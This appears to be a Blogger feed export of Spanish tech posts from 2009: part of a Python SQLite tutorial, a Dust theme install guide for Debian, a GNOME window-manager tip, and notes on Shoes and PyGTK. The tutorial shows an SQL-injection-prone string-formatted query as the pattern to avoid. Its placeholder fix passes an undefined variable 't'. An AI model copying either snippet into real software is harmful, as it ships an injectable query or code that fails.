NUMERIC&lt;br /&gt;correo -&gt; TEXT&lt;br /&gt;url -&gt; TEXT&lt;br /&gt;visitas -&gt; NUMERIC&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Imaginemos que esta tabla es para manejar un sistema donde registraremos a los usuarios que visitan nuestra página web y almacenamos el número de visitas de cada uno (sí, lo se... apesta, pero fue lo mejor que se me ocurrió como ejemplo :S). Debería quedarnos algo así:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SeIQkeezriI/AAAAAAAAAMM/stiRqlO5rtg/s1600-h/createtable.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 252px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SeIQkeezriI/AAAAAAAAAMM/stiRqlO5rtg/s320/createtable.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5323835928348962338" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luego que estemos conformes hacemos click en el botón &lt;strong&gt;Create&lt;/strong&gt; y guardamos los cambios en &lt;strong&gt;File -&gt; Save Database&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Ahora vamos con la parte divertida, creamos un nuevo archivo de texto con nuestro editor favorito (el mío es &lt;a href="http://damncorner.blogspot.com/2008/07/scite-mi-editor-de-texto-favorito.html"&gt;SciTE&lt;/a&gt;) y lo guardamos como &lt;strong&gt;test.py&lt;/strong&gt; en la misma carpeta donde guardamos la base de datos.&lt;br /&gt;&lt;br /&gt;Lo primero que necesitamos para conectarnos a esa base de datos es importar la librería:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;import sqlite3&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Hacemos la conexión:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;connection = sqlite3.connect('test.db')&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La mayoría de las operaciones sobre la base de datos se hacen usando un cursor; un objeto que apunta a la base de datos y a través del cual podemos ejecutar instrucciones similares al SQL estándar (pero no idénticas) para obtener, insertar, actualizar o borrar registros.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;cursor = connection.cursor()&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Muy bonito todo pero se preguntarán ¿Cómo insertamos registros?. La forma recomendada &lt;strike&gt;según el librito&lt;/strike&gt; es usar placeholders (marcadores de posición) puesto que si armamos la cadena usando variables de Python corremos el riesgo de que nos hagan &lt;a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL"&gt;SQL Injection&lt;/a&gt;. Es decir, en lugar de hacer esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;user = 'pedro'&lt;br /&gt;cursor.execute("SELECT * FROM tabla WHERE usuario = '%s'" % user)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Debemos usar tuplas y hacer esto:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;user = ('pedro',)&lt;br /&gt;cursor.execute('SELECT * FROM tabla WHERE usuario =?', t)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Insertemos entonces algunos datos para rellenar esa insípida tabla. Primero creamos un arreglo donde esté toda la información a insertar (en este caso es así porque vamos a insertar muchos datos, pero también podemos hacerlo uno por uno)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;datos = [&lt;br /&gt;    ('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),&lt;br /&gt;    ('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),&lt;br /&gt;    ('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),&lt;br /&gt;]&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ahora usamos un iterador para recorrer el arreglo e insertarlo:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;for t in datos:&lt;br /&gt;    cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pero esperen, aún no hemos completado la tarea. SQLite es un &lt;a href="http://es.wikipedia.org/wiki/Gestor_transaccional"&gt;gestor transaccional&lt;/a&gt; por lo que debemos realizar "la transacción" usando el comando &lt;strong&gt;commit&lt;/strong&gt;, de lo contrario ningún cambio se hará efectivo sobre el archivo. Esto aplica para todas las operaciones que modifican la base de datos (léase INSERT, UPDATE, DELETE, etc).&lt;br /&gt;&lt;br /&gt;&lt;code&gt;connection.commit()&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;¡Qué bien! Ya sabemos insertar registros, ya nuestra base de datos no es tan insípida ;)&lt;br /&gt;&lt;br /&gt;Ahora veamos como obtener la información que acabamos de guardar. Esto es tan sencillo como estructurar la búsqueda y ejecutarla. &lt;br /&gt;&lt;br /&gt;Primero veamos como listar todos los registros:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Esto nos imprime en el terminal algo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)&lt;br /&gt;(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)&lt;br /&gt;(u'pablor@elcorreo.com', 41, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y si queremos una búsqueda más específica podemos hacer algo como lo siguiente para buscar el nombre y las visitas de todos los registros con id igual a 1:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;id = (1, )&lt;br /&gt;cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)&lt;br /&gt;for row in cursor:&lt;br /&gt;    print "%s ha realizado %i visitas" % (row[0], row[1])&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Para obtener:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Pedro Perez ha realizado 4 visitas&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Vamos ahora a actualizar un registro. Es tan fácil como realizar una búsqueda pero usando el comando &lt;strong&gt;UPDATE&lt;/strong&gt;; le decimos qué tabla vamos a actualizar, los campos con sus nuevos valores y la condición que identifica al registro. Para actualizar la edad de Pablo a 24 sería algo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;values = (24, 'pablor@elcorreo.com', )&lt;br /&gt;cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)&lt;br /&gt;connection.commit()&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Donde &lt;strong&gt;values&lt;/strong&gt; es la tupla que se reemplazará donde están los placeholders. El motor de SQLite interpretará esa búsqueda como si le dijeramos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;cursor.execute("UPDATE Usuarios SET edad=24 WHERE correo='pablor@elcorreo.com'")&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La ventaja de los placeholders es que nos permiten crear instrucciones dinámicas y cambiar el contenido de la misma sin tener que estructurarla nuevamente (muy útil para usarla en bucles).&lt;br /&gt;&lt;br /&gt;Pero ¿cómo sabemos que realmente se actualizó el registro? Pues sencillo, listemos de nuevo todos los registros:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Y en el terminal veremos algo como (nótese el nuevo valor de la edad de Pablo):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)&lt;br /&gt;(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)&lt;br /&gt;(u'pablor@elcorreo.com', &lt;span style="color:#AF0000;"&gt;&lt;strong&gt;24&lt;/strong&gt;&lt;/span&gt;, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Todo se ve muy bien, pero surge una última pregunta: ¿Cómo rayos puedo borrar un registro?. Simple, la instrucción &lt;strong&gt;DELETE&lt;/strong&gt; &lt;strike&gt;obvio ¿no?&lt;/strike&gt; seguida de la tabla y de la condición que identifica al registro. Borremos a todos los &lt;strike&gt;ancianos&lt;/strike&gt; usuarios mayores de 34 de nuestro registro:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;value = (34,)&lt;br /&gt;cursor.execute("DELETE FROM Usuarios WHERE edad &gt;= ?", value)&lt;br /&gt;connection.commit()&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y una vez más mostramos a todo el mundo:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Obteniendo:&lt;br /&gt;&lt;code&gt;(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)&lt;br /&gt;(u'pablor@elcorreo.com', 24, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Lo sentimos mucho por Pedro Pérez pero esa es la Ley del Oeste ;)&lt;br /&gt;&lt;br /&gt;Para finalizar &lt;strike&gt;el testamento&lt;/strike&gt; la entrada les dejo el archivo &lt;strong&gt;test.py&lt;/strong&gt; después de unir todo lo que hemos hecho hasta ahora:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# -*- coding: utf-8 -*-&lt;br /&gt;# Importamos la libreria de SQLite&lt;br /&gt;import sqlite3&lt;br /&gt;&lt;br /&gt;# Creamos la conexion&lt;br /&gt;connection = sqlite3.connect('test.db')&lt;br /&gt;&lt;br /&gt;# Creamos el cursor&lt;br /&gt;cursor = connection.cursor()&lt;br /&gt;&lt;br /&gt;# Creamos el arreglo que contiene toda la informacion&lt;br /&gt;datos = [&lt;br /&gt;    ('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),&lt;br /&gt;    ('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),&lt;br /&gt;    ('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;# Insertamos todos los registros&lt;br /&gt;for t in datos:&lt;br /&gt;    cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)&lt;br /&gt;&lt;br /&gt;# Hacemos efectiva la transaccion&lt;br /&gt;connection.commit()&lt;br /&gt;&lt;br /&gt;# Imprimimos todos los registros&lt;br /&gt;print "\nLista de todos los registros de la base de datos:"&lt;br /&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;br /&gt;&lt;br /&gt;# Imprimimos solo el registro que tenga id = 1&lt;br /&gt;id = (1, )&lt;br /&gt;cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)&lt;br /&gt;for row in cursor:&lt;br /&gt;    print "\n%s ha realizado %i visitas" % (row[0], row[1])&lt;br /&gt;&lt;br /&gt;# Actualizamos la edad de Pablo&lt;br /&gt;values = (24, 'pablor@elcorreo.com', )&lt;br /&gt;cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)&lt;br /&gt;connection.commit()&lt;br /&gt;print "\nActualizada la edad de Pablo"&lt;br /&gt;&lt;br /&gt;# Y volvemos a imprimir todos los registros para verificar los cambios&lt;br /&gt;print "\nRegistros de la base de datos despues de actualizar a Pablo:"&lt;br /&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;br /&gt;    &lt;br /&gt;# Borramos todos los registros con edades mayores de 34 anios&lt;br /&gt;value = (34,)&lt;br /&gt;cursor.execute("DELETE FROM Usuarios WHERE edad &gt;= ?", value)&lt;br /&gt;connection.commit()&lt;br /&gt;print "\nBorrados todos los ancianos ;)"&lt;br /&gt;&lt;br /&gt;# E imprimimos otra vez todos los registros para verificar los cambios&lt;br /&gt;print "\nRegistros de la base de datos despues de borrar a los viejitos:"&lt;br /&gt;cursor.execute('SELECT * FROM Usuarios')&lt;br /&gt;for row in cursor:&lt;br /&gt;    print row&lt;br /&gt;    &lt;br /&gt;# Finalmente cerramos todo como debe ser&lt;br /&gt;cursor.close()&lt;br /&gt;connection.close()&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Es todo, espero que les haya sido de utilidad este pequeño tutorial&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6372545136767288052?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6372545136767288052/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6372545136767288052&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6372545136767288052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6372545136767288052'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/04/como-usar-sqlite-en-python.html' title='Cómo usar SQLite en Python'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SeIQkIpneTI/AAAAAAAAAL8/KW8Qj39Vk5w/s72-c/sqlitebrowser.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-652086242825290587</id><published>2009-04-02T04:39:00.000-07:00</published><updated>2009-04-12T07:20:18.698-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Dust Theme en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Últimamente he estado viendo muchas capturas de pantalla en la web con un tema de ventanas que me llama mucho la atención, principalmente porque es negro y además porque tiene un estilo demasiado limpio, moderno y estilizado, con bordes redondeados y muy bien trabajado. No es de esos temas negros que te queman la retina a los pocos minutos, es más bien un tema agradable... les hablo del famoso &lt;a href="https://wiki.ubuntu.com/Artwork/Incoming/Intrepid/DustTheme"&gt;Dust Theme&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://launchpadlibrarian.net/17792742/screenshot1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 192px; height: 192px;" src="https://launchpadlibrarian.net/17792742/screenshot1.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Éste tema lo han creado Rico Sta. Cruz y Kido Mariano con la idea de que sea incluido en el Ubuntu 9.04 (Jaunty Jackalope) para refrescar y mejorar un poco la apariencia del escritorio. Ojalá lo logren porque no es la primera vez que se escucha a la gente de Ubuntu decir que van a revolucionar el escritorio, que van a sacar un nuevo tema que nos dejará a todos boquiabiertos y bah... siempre salen con &lt;s&gt;la misma cochinada&lt;/s&gt; el mismo tema Human :S&lt;br /&gt;&lt;br /&gt;Bueno, lo primero que debemos saber es que el tema Dust trabaja con los motores de GTK2 &lt;a href="http://www.cimitan.com/murrine/"&gt;Murrine&lt;/a&gt; y &lt;a href="http://clearlooks.sourceforge.net/"&gt;Clearlooks&lt;/a&gt;. Sin embargo el motor Murrine que trae Debian Squeeze no funciona con Dust, así que tenemos que descargar la versión SVN y compilarlo... nada del otro mundo xD&lt;br /&gt;&lt;br /&gt;Instalaremos primero todas las dependencias:&lt;br /&gt;&lt;code&gt;# aptitude install gtk2-engines subversion build-essential automake autoconf intltool libtool libgtk2.0-dev&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego nos descargamos la versión SVN de Murrine y la compilamos:&lt;br /&gt;&lt;code&gt;$ svn co http://svn.gnome.org/svn/murrine/trunk/ murrine&lt;br /&gt;$ cd murrine&lt;br /&gt;$ ./autogen.sh --prefix=/usr --enable-animation&lt;br /&gt;$ make&lt;br /&gt;# make install&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El parámetro &lt;strong&gt;--enable-animation&lt;/strong&gt; permite entre otras cosas habilitar las barras de progreso animadas (cosa que lograron gracias a Cairo).&lt;br /&gt;&lt;br /&gt;Por último, descargamos el tema &lt;a href="https://code.launchpad.net/dusttheme/0.3/0.3.4"&gt;Dust para GTK2&lt;/a&gt;, el &lt;a href="http://launchpad.net/dusttheme-firefox/trunk/0.1.20090217/+download/dustfox-0.1.20090217.xpi"&gt;Dust para Firefox&lt;/a&gt; y los &lt;a href="https://code.launchpad.net/dusttheme/0.3/0.3.3"&gt;extras de Dust&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;El Dust de GTK2 y los extras de Dust los instalamos de la siguiente forma: vamos al menú Sistema -&gt; Preferencias -&gt; Apariencia y arrastramos los archivos comprimidos dentro de la ventana anterior o simplemente descomprimimos los archivos en la carpeta ~/.themes. Cuando estén instalados entonces los seleccionamos en la misma ventana que sale en Sistema -&gt; Preferencias -&gt; Apariencia.&lt;br /&gt;&lt;br /&gt;Al final nos debería quedar algo así:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SeH4bMHExCI/AAAAAAAAAL0/nTVICW3IPDs/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SeH4bMHExCI/AAAAAAAAAL0/nTVICW3IPDs/s320/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5323809380519691298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aún me falta instalar las fuentes que trae por defecto el Dust, cuando lo haga actualizo el post.&lt;br /&gt;&lt;br /&gt;Cambio y fuera&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-652086242825290587?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/652086242825290587/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=652086242825290587&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/652086242825290587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/652086242825290587'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/04/dust-theme-en-debian.html' title='Dust Theme en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SeH4bMHExCI/AAAAAAAAAL0/nTVICW3IPDs/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-2247003158307621424</id><published>2009-03-21T06:51:00.000-07:00</published><updated>2009-03-21T07:25:10.801-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Gestor de ventanas por defecto en GNOME</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Casi siempre me la paso jugando con gestores de ventanas (léase Compiz, Metacity, Openbox, etc) y resulta bastante incómodo que para hacer que uno de ellos arranque al inicio de la sesión tengamos que agregarlo en los programas de inicio de GNOME. Al hacerlo así, GNOME inicia primero su gestor de ventanas por defecto (metacity) y después inicia el que nosotros queremos. Obviamente tenemos que esperar casi el doble del tiempo para tener un escritorio usable.&lt;br /&gt;&lt;br /&gt;Eso me motivó a leer e investigar para dar con el paradero del &lt;strike&gt;@#!=&amp;%$&lt;/strike&gt; fulano gestor de ventanas predeterminado, hasta que por fin lo encontré!&lt;br /&gt;&lt;br /&gt;Basta con crear un archivo &lt;strong&gt;.gnomerc&lt;/strong&gt; (si no existe) en nuestro directorio personal y dentro del archivo escribimos la siguiente línea indicando la ruta del gestor de ventanas que nosotros queremos como predeterminado:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;export WINDOW_MANAGER=/usr/bin/compiz&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La ruta &lt;strong&gt;/usr/bin/compiz&lt;/strong&gt; podemos reemplazarla por cualquier otra, como por ejemplo&lt;br /&gt;&lt;strong&gt;/usr/bin/openbox-gnome-session&lt;/strong&gt; para correr GNOME usando Openbox como gestor de ventanas ;)&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-2247003158307621424?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/2247003158307621424/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=2247003158307621424&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2247003158307621424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2247003158307621424'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/03/gestor-de-ventanas-por-defecto-en-gnome.html' title='Gestor de ventanas por defecto en GNOME'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3536860876475048688</id><published>2009-02-26T19:22:00.000-08:00</published><updated>2009-10-22T20:44:13.175-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='Cairo'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Shoes, Cairo y PyGTK</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Estuve conversando ayer con un amigo sobre toolkits sencillos y rápidos para desarrollar aplicaciones gráficas multiplataforma. Hablamos de &lt;a href="http://www.fltk.org/"&gt;FLTK&lt;/a&gt;, de &lt;a href="http://en.wikipedia.org/wiki/Enlightenment_Foundation_Libraries"&gt;ETK&lt;/a&gt;, de &lt;a href="http://www.murga-projects.com/murgaLua.html"&gt;murgaLua&lt;/a&gt;, obviamente del GTK+ y Qt4 y hasta del mismísimo &lt;strike&gt; infame&lt;/strike&gt; Gambas. Es ahí cuando el pana me presenta a "&lt;a href="http://shoooes.net/about/"&gt;Shoes&lt;/a&gt;" &amp;lt;fanfarria con bombos platillos&amp;gt;. &lt;br /&gt;&lt;br /&gt;Shoes (a.k.a alfombra, media, chancleta o como te provoque llamarlo =P) es un toolkit muy pequeño y que por sí solo puede hacer cosas realmente impresionantes. Según su creador "... puedes hacer aplicaciones realmente colorídas..." y se lo creo. Para muestra un botón &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://shoooes.net/images/about-pixelpainter.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 391px; height: 391px;" src="http://shoooes.net/images/about-pixelpainter.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Está hecho en Ruby pero su sintaxis es tan simple que parece HTML con CSS (claro gracias en parte a los bloques de código Ruby). La cuestión me llamó tanto la atención que decidí probarlo y mi conclusión: es sencillamente maravilloso. El código es tan limpio, tan simple y tan intuitivo que dan ganas de poner a volar la imaginación para desarrollar cuanta cosa se te ocurra.&lt;br /&gt;&lt;br /&gt;Y es que el simple hecho de que pueda hacer una ventana con un fondo degradado con tan solo 7 miserables líneas de código me hace sangrar la nariz.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Shoes.app do&lt;br /&gt;  background "#F3F".."#F90"&lt;br /&gt;  title "Shoooes", :top =&gt; 60,&lt;br /&gt;    :align =&gt; "center",&lt;br /&gt;    :font =&gt; "Trebuchet MS",&lt;br /&gt;    :stroke =&gt; white&lt;br /&gt;end&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Sin embargo me surgió una pregunta: ¿Por qué Ruby? y e instantáneamente surgió otra: ¿No habrá un Shoes para Python? La respuesta a la segunda es &lt;strong&gt;NO&lt;/strong&gt;. La respuesta a la primera aún la desconozco.&lt;br /&gt;&lt;br /&gt;Si aún están leyendo se preguntarán: ¿Y que tiene que ver todo esto con Cairo y PyGTK? Pues muy simple, revisando el código fuente de Shoes me di cuenta que una ventana no es más que un lienzo (o canvas) y que ese lienzo _aparentemente_ lo crean y lo trabajan con Cairo. Suena muy simple, pero créanme... no lo es.&lt;br /&gt;&lt;br /&gt;Fue ahí donde se me ocurrió la idea: &lt;strong&gt;¿Por qué no hacer una implementación de Shoes para Python usando Cairo?&lt;/strong&gt; y pues bueno aquí estoy, leyendo todo cuanto encuentro sobre Cairo y PyGTK. He leído un par de blogs donde dicen como trabajar con Cairo y PyGTK, además de la documentación de Cairo. Entre ellos:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.rastersoft.com/index.php/2007/06/20/trabajando-con-pycairo-y-gtk/"&gt;http://blog.rastersoft.com/index.php/2007/06/20/trabajando-con-pycairo-y-gtk/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.eikke.com/index.php/ikke/2007/02/17/python_cairo_xshape_and_clocks"&gt;http://blog.eikke.com/index.php/ikke/2007/02/17/python_cairo_xshape_and_clocks&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cairographics.org/documentation/pycairo/reference/index.html#reference-index"&gt;http://cairographics.org/documentation/pycairo/reference/index.html#reference-index&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apenas he corrido un par ejemplos y todo parece funcionar muy bien. Seguiré investigando y publicando mis progresos.&lt;br /&gt;&lt;br /&gt;Cambio y fuera&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3536860876475048688?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3536860876475048688/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3536860876475048688&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3536860876475048688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3536860876475048688'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/02/shoes-cairo-y-pygtk.html' title='Shoes, Cairo y PyGTK'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5404603824145373110</id><published>2009-02-08T05:29:00.000-08:00</published><updated>2009-02-08T06:14:09.833-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar IExplorer en GNU/Linux</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Seguro les ha pasado más de una vez  que una &lt;strike&gt;estúpida&lt;/strike&gt; página no sirve si no es con iexplorer. A mi me sucedió con la página de mi banco preferido (Banco Mercantil) y es que para afiliar servicios, cuentas y otras cosas necesitaba generar una "e-Seguridad" que para mi 